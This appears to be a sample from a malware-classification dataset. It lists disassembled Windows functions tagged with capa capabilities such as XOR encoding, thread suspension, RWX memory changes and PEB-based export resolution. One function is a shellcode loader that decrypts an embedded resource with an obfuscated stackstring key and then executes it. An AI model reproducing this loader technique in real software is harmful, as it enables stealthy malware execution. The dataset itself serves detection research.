joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1801a10b0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push rbx
push rsi
push r12
push r14
push r15
sub rsp, 0x20
mov r14, rcx
mov r12, r9
mov rcx, r8
mov rsi, rdx
call fcn.180163580
mov r8d, dword [r14 + 0x18]
mov edx, 0x40
mov ecx, dword [r14 + 0x20]
add rcx, 0x18
mov r15d, eax
lea r9d, [r8 + r8]
add rcx, r9
lea r8, str.C:Dev_vcpkg_buildtreescurl_srcurl_7_81_0_459d17a9d2.cleanlibhmac.c
call fcn.180165e20
mov rbx, rax
test rax, rax
je 0x1801a1274
lea rcx, [rax + 0x18]
mov qword [rax], r14
mov qword [rax + 8], rcx
mov eax, dword [r14 + 0x18]
add rax, rcx
mov qword [rsp + 0x58], rbp
mov qword [rbx + 0x10], rax
mov qword [rsp + 0x60], rdi
cmp r15d, dword [r14 + 0x1c]
jbe 0x1801a114f
call qword [r14]
mov rcx, qword [rbx + 8]
mov r8d, r15d
mov rdx, rsi
call qword [r14 + reloc.WS2_32.dll_htonl]
mov esi, dword [r14 + 0x18]
add rsi, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, rsi
call qword [r14 + reloc.WS2_32.dll_recv]
mov r15d, dword [r14 + 0x20]
mov rcx, qword [rbx + 8]
call qword [r14]
mov rcx, qword [rbx + 0x10]
call qword [r14]
xor ebp, ebp
test r15, r15
je 0x1801a11b2
mov rbp, r15
nop word [rax + rax]
movzx eax, byte [rsi]
lea rdx, [rsp + 0x50]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x50], al
mov rcx, qword [rbx + 8]
call qword [r14 + reloc.WS2_32.dll_htonl]
movzx eax, byte [rsi]
lea rdx, [rsp + 0x50]
xor al, 0x5c
lea rsi, [rsi + 1]
mov byte [rsp + 0x50], al
mov r8d, 1
mov rcx, qword [rbx + 0x10]
call qword [r14 + reloc.WS2_32.dll_htonl]
sub r15, 1
jne 0x1801a1170
mov eax, dword [r14 + 0x1c]
cmp rbp, rax
jae 0x1801a11f6
nop dword [rax + rax]
mov rcx, qword [rbx + 8]
lea rdx, [0x1801cdf74]
mov r8d, 1
call qword [r14 + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 0x10]
lea rdx, [0x1801cdf75]
mov r8d, 1
call qword [r14 + reloc.WS2_32.dll_htonl]
mov eax, dword [r14 + 0x1c]
inc rbp
cmp rbp, rax
jb 0x1801a11c0
mov rcx, qword [rsp + 0x70]
call fcn.180163580
mov r9, qword [rbx]
mov r8d, eax
mov rcx, qword [rbx + 8]
mov rdx, r12
call qword [r9 + reloc.WS2_32.dll_htonl]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rbx]
mov rbp, qword [rsp + 0x58]
test rdi, rdi
jne 0x1801a122a
mov edi, dword [rsi + 0x18]
add rdi, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, rdi
call qword [rsi + reloc.WS2_32.dll_recv]
mov r8d, dword [rsi + 0x20]
mov rdx, rdi
mov rcx, qword [rbx + 0x10]
call qword [rsi + reloc.WS2_32.dll_htonl]
mov rdx, qword [rbx + 0x10]
mov rcx, rdi
call qword [rsi + reloc.WS2_32.dll_recv]
lea r8, str.C:Dev_vcpkg_buildtreescurl_srcurl_7_81_0_459d17a9d2.cleanlibhmac.c
mov edx, 0x81
mov rcx, rbx
call fcn.180165d30
mov rdi, qword [rsp + 0x60]
xor eax, eax
add rsp, 0x20
pop r15
pop r14
pop r12
pop rsi
pop rbx
ret
mov eax, 0x1b
add rsp, 0x20
pop r15
pop r14
pop r12
pop rsi
pop rbx
ret
Function at 0x1801a2c80
Capabilities:
Encode data using xor

Disassembly:
mov r10, rcx
test rdx, rdx
je 0x1801a2ce5
nop dword [rax + rax]
movzx r8d, byte [r10]
lea r10, [r10 + 1]
movzx eax, r8b
movzx r9d, r8b
shr r9b, 1
and al, 0xfe
not r9b
movzx eax, al
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
or r8b, 1
test r9b, 2
movzx ecx, r8b
cmove ecx, eax
mov byte [r10 - 1], cl
sub rdx, 1
jne 0x1801a2c90
ret
Function at 0x1801a5b70
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, ecx
mov ecx, dword [0x18025cc0c]
mov ebx, edi
test ecx, ecx
je 0x1801a5cab
mov rax, qword [0x18025cc00]
add rax, 0x20
nop
movzx edx, byte [rax]
shr edx, 1
and edx, 1
cmp edx, esi
jne 0x1801a5bc8
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x1801a5ba0
mov eax, edi
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
cmp ebx, 0xffffffff
je 0x1801a5cab
mov r8d, edi
lea rcx, [rsp + 0x20]
test esi, esi
mov edx, 0xffffffff
setne r8b
call fcn.1801a5ef0
mov r8d, dword [0x18025cc0c]
cmp ebx, r8d
jae 0x1801a5c38
nop word [rax + rax]
mov eax, ebx
imul rcx, rax, 0x38
mov rax, qword [0x18025cc00]
movzx edx, byte [rcx + rax + 0x20]
shr edx, 1
and edx, 1
cmp edx, esi
je 0x1801a5c31
mov edx, esi
mov ecx, ebx
call fcn.1801a5de0
mov edi, eax
test eax, eax
jne 0x1801a5c38
mov r8d, dword [0x18025cc0c]
inc ebx
cmp ebx, r8d
jb 0x1801a5c00
cmp qword [rsp + 0x20], 0
je 0x1801a5cab
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x1801a5c97
mov rbx, qword [rsp + 0x20]
mov qword [rsp + 0x40], rbp
mov ebp, eax
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1801a5c88
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rbp, 1
jne 0x1801a5c60
mov rbp, qword [rsp + 0x40]
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x180257e20]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x48]
mov eax, edi
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x1801a5de0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov eax, ecx
lea r9, [rsp + 0x30]
imul rbx, rax, 0x38
mov esi, edx
add rbx, qword [0x18025cc00]
mov r8, qword [rbx]
movzx eax, byte [rbx + 0x20]
and al, 1
movzx ecx, al
lea rdi, [r8 - 5]
cmove rdi, r8
mov r8d, 0x40
lea rbp, [rcx*2 + 5]
mov rcx, rdi
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1801a5e44
mov eax, 0xa
jmp 0x1801a5ed3
test esi, esi
je 0x1801a5e66
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x1801a5e89
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x1801a5e89
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x1801a5e82
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
movzx eax, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x1801a5e89
movzx eax, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
and byte [rbx + 0x20], 0xfd
and sil, 1
movzx eax, sil
shl sil, 2
add al, al
or al, byte [rbx + 0x20]
and al, 0xfb
or al, sil
mov byte [rbx + 0x20], al
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1801a5ef0
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x18024d300]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor esi, esi
mov r14d, edx
mov rbx, rcx
mov qword [rcx], rsi
mov qword [rcx + 8], rsi
xor edx, edx
mov ebp, r8d
lea ecx, [rsi + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1801a601a
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x1801a6011
nop word [rax + rax]
cmp dword [rsp + 0x20], 0x10
jb 0x1801a5ff4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x1801a5ff4
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x1801a5ff4
mov rdx, qword [rbx]
test rdx, rdx
jne 0x1801a5fb2
mov dword [rbx + 8], 0x80
mov r8d, 0x200
mov rcx, qword [0x180257e20]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
mov rdx, rax
test rax, rax
je 0x1801a6011
jmp 0x1801a5fe7
mov eax, dword [rbx + 8]
cmp dword [rbx + 0xc], eax
jb 0x1801a5fe7
mov rcx, qword [0x180257e20]
lea r9d, [rax + rax]
mov r8, rdx
shl r9, 2
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdx, rax
test rax, rax
je 0x1801a6011
mov eax, dword [rbx + 8]
add eax, eax
mov qword [rbx], rdx
mov dword [rbx + 8], eax
mov ecx, dword [rbx + 0xc]
mov eax, dword [rsp + 0x28]
mov dword [rdx + rcx*4], eax
inc dword [rbx + 0xc]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rdi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1801a5f60
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], rsi
je 0x1801a6073
cmp dword [rbx + 0xc], esi
jbe 0x1801a6073
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [rbx]
xor edx, edx
mov ecx, esi
mov r8d, dword [rax + rcx*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x1801a606c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, ebp
mov edx, r14d
mov rcx, rdi
call fcn.1801a64c0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [rbx + 0xc]
jb 0x1801a6030
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1801a75f0
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1801a6670
Capabilities:
Resume thread

Disassembly:
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rdi, rcx
je 0x1801a66df
mov qword [rsp + 0x30], rbx
xor ebx, ebx
cmp dword [rcx + 0xc], ebx
jbe 0x1801a66c8
mov qword [rsp + 0x38], rsi
mov rax, qword [rdi]
xor edx, edx
mov r8d, dword [rax + rbx*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1801a66bc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [rdi + 0xc]
jb 0x1801a6690
mov rsi, qword [rsp + 0x38]
mov r8, qword [rdi]
xor edx, edx
mov rcx, qword [0x180257e20]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1801a67a0
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov rdi, rcx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
cmp rdi, 0x40000000
jbe 0x1801a67e0
lea rax, [rdi - 0x40000000]
cmp r14, rax
cmovb r14, rax
mov rsi, qword [0x18025cbf0]
lea r15, [rdi + 0x40000000]
cmp rcx, r15
cmovbe r15, rcx
sub r15, 0xfff
test rsi, rsi
je 0x1801a681e
cmp rsi, r14
jb 0x1801a6816
cmp rsi, r15
jae 0x1801a6816
cmp qword [rsi + 8], 0
jne 0x1801a69e7
mov rsi, qword [rsi]
test rsi, rsi
jne 0x1801a6801
mov qword [rsp + 0xa0], rbx
mov rbx, rdi
mov qword [rsp + 0xa8], rbp
mov qword [rsp + 0xb0], r12
mov r12d, 0x40
cmp rdi, r14
jb 0x1801a68b2
nop dword [rax]
nop dword [rax + rax]
mov ebp, dword [rsp + 0x48]
mov rax, rbx
xor edx, edx
div rbp
sub rbx, rdx
sub rbx, rbp
cmp rbx, r14
jb 0x1801a68a9
nop word [rax + rax]
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1801a68a9
cmp dword [rsp + 0x70], 0x10000
je 0x1801a692b
mov rbx, qword [rsp + 0x58]
cmp rbx, rbp
jb 0x1801a68a9
sub rbx, rbp
cmp rbx, r14
jae 0x1801a6870
test rsi, rsi
jne 0x1801a6990
cmp rdi, r15
ja 0x1801a69cf
nop dword [rax + rax]
mov ebp, dword [rsp + 0x48]
xor edx, edx
mov rax, rdi
mov ebx, ebp
div rbp
mov eax, ebp
sub rax, rdx
add rax, rdi
mov rdi, rax
cmp rax, r15
ja 0x1801a69cf
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1801a69cf
cmp dword [rsp + 0x70], 0x10000
je 0x1801a6961
xor edx, edx
lea edi, [rbp - 1]
add rdi, qword [rsp + 0x68]
add rdi, qword [rsp + 0x50]
mov rax, rdi
div rbx
sub rdi, rdx
cmp rdi, r15
jbe 0x1801a68e2
jmp 0x1801a69cf
test rbx, rbx
je 0x1801a68a9
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1801a6990
cmp rbx, r14
jae 0x1801a6850
jmp 0x1801a68b2
test rdi, rdi
je 0x1801a69cf
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1801a6990
cmp rdi, r15
jbe 0x1801a68c0
jmp 0x1801a69cf
xor edx, edx
lea rcx, [rsi + 0x40]
mov dword [rsi + 0x10], edx
nop dword [rax]
mov qword [rcx], rdx
mov rax, rcx
mov qword [rsi + 8], rcx
add r12, 0x40
add rcx, 0x40
mov rdx, rax
cmp r12, 0xfc0
jbe 0x1801a69a0
mov rax, qword [0x18025cbf0]
mov qword [rsi], rax
mov qword [0x18025cbf0], rsi
mov r12, qword [rsp + 0xb0]
mov rbp, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
mov rax, rsi
mov rsi, qword [rsp + 0xb8]
add rsp, 0x80
pop r15
pop r14
pop rdi
ret
Function at 0x1801a8ac8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1801a8b02
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1801a8b07
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1801a8b50
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1801a8b50
dec r8
sub rdx, 1
jne 0x1801a8b36
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x180001960
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x18003ae6e
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x6a8
mov ecx, 0x6d948
lea r8, [rsp + 0x70]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov byte [rsp + 0x50], 0x24
lea rdx, [r8 + 0x610]
mov byte [rsp + 0x51], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x52], 0x7a
mov byte [rsp + 0x53], 0x4f
mov byte [rsp + 0x54], WSAGetLastError
mov byte [rsp + 0x55], 0x52
mov byte [rsp + 0x56], 0x50
mov byte [rsp + 0x57], 0x59
mov byte [rsp + 0x58], 0x25
mov byte [rsp + 0x59], 0x61
mov byte [rsp + 0x5a], reloc.WS2_32.dll_gethostbyname
mov byte [rsp + 0x5b], 0x52
mov byte [rsp + 0x5c], 0x75
mov byte [rsp + 0x5d], 0x45
mov byte [rsp + 0x5e], 0x45
mov byte [rsp + 0x5f], 0x29
mov byte [rsp + 0x60], 0x36
mov byte [rsp + 0x61], 0x63
mov byte [rsp + 0x62], 0x39
mov byte [rsp + 0x63], 0x66
mov byte [rsp + 0x64], 0
lea rax, [r8 + 0x88]
nop word [rax + rax]
mov qword [rax], 0x23aa4163
add rax, 8
cmp rax, rdx
jne 0x18003af1e
sub ecx, 1
jne 0x18003af0e
cmp qword [rsp + 0x440], 0x23aa4163
je 0x18003af62
lea rdx, [0x180079ddd]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [0x18007cde6]
add rsp, 0x6a8
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.18003b09e
mov edx, 0x6d92a5e2
mov rbx, rax
mov rcx, rax
call fcn.18003adde
lea rsi, [rsp + 0x40]
mov rcx, rbx
lea rbx, [rsp + 0x38]
mov edx, 0x3803e5e2
mov rbp, rax
call fcn.18003adde
xor r8d, r8d
mov rdi, rax
mov qword [rsp + 0x40], 0x3d74a
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rsi
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call rbp
test eax, eax
js 0x18003b05b
lea rax, [rsp + 0x48]
mov r9d, 0x40
mov r8, rsi
mov rdx, rbx
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call rdi
test eax, eax
js 0x18003b07e
xor r8d, r8d
cmp qword [rsp + 0x40], 0
mov eax, 0x24
lea r10, resource.1
movabs r9, 0x8618618618618619
jne 0x18003b03a
jmp 0x18003b052
mov rax, r8
mov rcx, r8
mov rdi, r8
mul r9
sub rcx, rdx
shr rcx, 1
add rdx, rcx
shr rdx, 4
lea rax, [rdx + rdx*4]
lea rax, [rdx + rax*4]
sub rdi, rax
movzx eax, byte [rsp + rdi + 0x50]
xor al, byte [r10 + r8]
mov rdx, qword [rsp + 0x38]
mov byte [rdx + r8], al
add r8, 1
cmp qword [rsp + 0x40], r8
ja 0x18003b011
call qword [rsp + 0x38]
jmp 0x18003af41
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x180079dae]
xor ecx, ecx
call qword [0x18007cde6]
xor eax, eax
add rsp, 0x6a8
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x180079dc6]
xor ecx, ecx
call qword [0x18007cde6]
jmp 0x18003b070
Function at 0x18003adde
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rdi
push rsi
push rbx
movsxd rax, dword [rcx + 0x3c]
mov eax, dword [rcx + rax + 0x88]
add rax, rcx
mov r11d, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
mov esi, dword [rax + 0x1c]
mov edi, dword [rax + 0x24]
test r11d, r11d
je 0x18003ae46
lea rbx, [rcx + r8]
xor r10d, r10d
nop dword [rax + rax]
mov r8d, dword [rbx + r10*4]
xor r9d, r9d
add r8, rcx
cmp byte [r8], 0
je 0x18003ae38
movzx eax, byte [r8]
add r8, 1
or eax, 0x60
movzx eax, al
add r9d, eax
add r9d, r9d
cmp byte [r8], 0
jne 0x18003ae1e
cmp edx, r9d
je 0x18003ae4c
add r10, 1
cmp r11d, r10d
ja 0x18003ae0e
xor eax, eax
pop rbx
pop rsi
pop rdi
ret
lea rax, [rdi + r10*2]
movzx eax, word [rcx + rax]
lea rax, [rsi + rax*4]
mov eax, dword [rcx + rax]
add rax, rcx
pop rbx
pop rsi
pop rdi
ret

Function at 0x18003b09e
Capabilities:
Access peb ldr_data

Disassembly:
xor rax, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
ret

Function at 0x18004f134
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov r11, r8
movabs r9, 0xcbf29ce484222325
xor r10d, r10d
movzx eax, byte [r10 + r11]
movabs r8, 0x100000001b3
xor r9, rax
inc r10
imul r9, r8
cmp r10, 8
jb 0x18004f144
mov r10, qword [rcx + 0x30]
mov r8, qword [rcx + 8]
and r10, r9
mov r9, qword [rcx + 0x18]
add r10, r10
mov rax, qword [r9 + r10*8]
cmp qword [r9 + r10*8], r8
jne 0x18004f184
mov rcx, r8
jmp 0x18004f18c
mov rcx, qword [r9 + r10*8 + 8]
mov rcx, qword [rcx]
cmp rax, rcx
je 0x18004f1a4
mov rcx, qword [r11]
cmp qword [rax + 0x10], rcx
je 0x18004f19f
mov rax, qword [rax]
jmp 0x18004f179
mov qword [rdx], rax
jmp 0x18004f1a7
mov qword [rdx], r8
mov rax, rdx
ret
Function at 0x180050d18
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x40
mov qword [rax - 0x38], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rbx, r9
mov r11, r8
mov rsi, rdx
mov r9, rcx
movabs rcx, 0xcbf29ce484222325
xor edx, edx
movzx eax, byte [rdx + r11]
xor rcx, rax
movabs r8, 0x100000001b3
imul rcx, r8
inc rdx
cmp rdx, 8
jb 0x180050d4f
mov r8, qword [r9 + 0x30]
and r8, rcx
mov r10, r8
add r10, r10
mov rcx, qword [r9 + 0x18]
mov rdi, qword [r9 + 8]
cmp rdi, qword [rcx + r10*8]
je 0x180050dc4
mov rdi, qword [rcx + r10*8 + 8]
mov rdi, qword [rdi]
cmp rdi, qword [rcx + r10*8]
je 0x180050dc4
mov rdi, qword [rdi + 8]
mov rax, qword [rdi + 0x10]
cmp qword [r11], rax
jne 0x180050d91
mov r8, rbx
lea rdx, [rsp + 0x60]
lea rcx, [r9 + 8]
call fcn.180050f4c
mov qword [rsi], rdi
mov byte [rsi + 8], 0
mov rax, rsi
jmp 0x180050e5b
mov rax, qword [rbx]
cmp rdi, rax
je 0x180050df9
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rax + 8]
mov qword [rcx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rbx
mov rdx, qword [rdi + 8]
mov rcx, qword [rax + 8]
mov qword [rdi + 8], rcx
mov rcx, qword [rbx + 8]
mov qword [rax + 8], rcx
mov qword [rbx + 8], rdx
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r10*8]
add r8, r8
cmp rax, qword [r9 + 8]
jne 0x180050e19
mov qword [rdx + r8*8], rbx
mov rax, qword [r9 + 0x18]
mov qword [rax + r8*8 + 8], rbx
jmp 0x180050e48
cmp rax, rdi
jne 0x180050e24
mov qword [rdx + r8*8], rbx
jmp 0x180050e48
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax]
mov qword [rdx + r8*8 + 8], rcx
cmp rcx, rbx
je 0x180050e48
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r10*8 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + r10*8 + 8], rcx
mov rcx, r9
call fcn.180050e6c
nop
mov qword [rsi], rbx
mov byte [rsi + 8], 1
mov rax, rsi
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x1800513a4
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rbx
sub rsp, 0x20
mov r9, rcx
mov rbx, rdx
movabs rcx, 0xcbf29ce484222325
xor r10d, r10d
movzx eax, byte [r8 + r10 + 0x10]
movabs rdx, 0x100000001b3
xor rcx, rax
inc r10
imul rcx, rdx
cmp r10, 8
jb 0x1800513bd
mov rdx, qword [r9 + 0x30]
and rdx, rcx
mov rcx, qword [r9 + 0x18]
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], r8
jne 0x180051415
cmp qword [rcx + rdx*8], r8
jne 0x18005140a
mov rax, qword [r9 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r9 + 0x18]
mov rax, qword [r9 + 8]
jmp 0x18005140e
mov rax, qword [r8 + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x180051422
cmp qword [rcx + rdx*8], r8
jne 0x180051422
mov rax, qword [r8]
mov qword [rcx + rdx*8], rax
lea rcx, [r9 + 8]
mov rdx, rbx
call fcn.180050f4c
mov rax, rbx
add rsp, 0x20
pop rbx
ret
Function at 0x180051bc4
Capabilities:
Encode data using xor

Disassembly:
test edx, edx
jle 0x180051c1f
mov rax, qword [rcx + 8]
mov r10, qword [rcx]
mov r8, qword [rcx + 0x18]
mov r9, qword [rcx + 0x10]
mov r11d, edx
add r10, rax
add r9, r8
rol rax, 0xd
xor rax, r10
rol r8, 0x10
xor r8, r9
rol r10, 0x20
add r9, rax
add r10, r8
rol rax, 0x11
rol r8, 0x15
xor rax, r9
xor r8, r10
rol r9, 0x20
sub r11, 1
jne 0x180051bda
mov qword [rcx + 8], rax
mov qword [rcx], r10
mov qword [rcx + 0x18], r8
mov qword [rcx + 0x10], r9
ret
Function at 0x1800731e8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, dword [rcx + 0x78]
sub edx, 1
je 0x180073228
sub edx, 1
je 0x180073210
sub edx, 1
je 0x180073207
cmp edx, 1
je 0x180073203
xor al, al
jmp 0x18007322f
mov al, byte [rcx]
jmp 0x18007322f
add rcx, 8
jmp 0x18007368c
movsd xmm0, qword [rcx]
ucomisd xmm0, qword [0x1800f3fb0]
jp 0x180073224
jne 0x180073224
xor eax, eax
jmp 0x18007322f
mov al, 1
jmp 0x18007322f
xor eax, eax
cmp dword [rcx], eax
setne al
ret
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x180116250]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rsi, rcx
mov rdx, rcx
lea rcx, [rsp + 0x28]
call fcn.18006cdf0
cmp qword [rax + 0x18], 8
mov rdx, qword [rax + 0x10]
jb 0x1800736c8
mov rax, qword [rax]
mov ebx, 1
lea ecx, [rbx + 3]
cmp rdx, rcx
jne 0x18007370e
movzx r8d, word [rax]
lea r9d, [rbx + 0x73]
lea rdx, [0x1800d4bc0]
cmp r8w, r9w
jb 0x18007370e
sub rax, rdx
cmp r8w, r9w
ja 0x18007370e
cmp rcx, rbx
je 0x180073727
add rdx, 2
sub rcx, rbx
movzx r8d, word [rax + rdx]
movzx r9d, word [rdx]
cmp r8w, r9w
jae 0x1800736f1
xor dil, dil
lea rcx, [rsp + 0x28]
call fcn.180001c54
test dil, dil
je 0x18007372c
mov al, bl
jmp 0x1800737c0
mov dil, bl
jmp 0x180073711
mov rdx, rsi
lea rcx, [rsp + 0x28]
call fcn.18006cdf0
cmp qword [rax + 0x18], 8
mov rdx, qword [rax + 0x10]
jb 0x180073747
mov rax, qword [rax]
mov ecx, 5
cmp rdx, rcx
jne 0x18007378a
movzx r8d, word [rax]
lea r9d, [rcx + 0x61]
lea rdx, [0x1800d4bd0]
cmp r8w, r9w
jb 0x18007378a
sub rax, rdx
cmp r8w, r9w
ja 0x18007378a
cmp rcx, rbx
je 0x18007378c
add rdx, 2
sub rcx, rbx
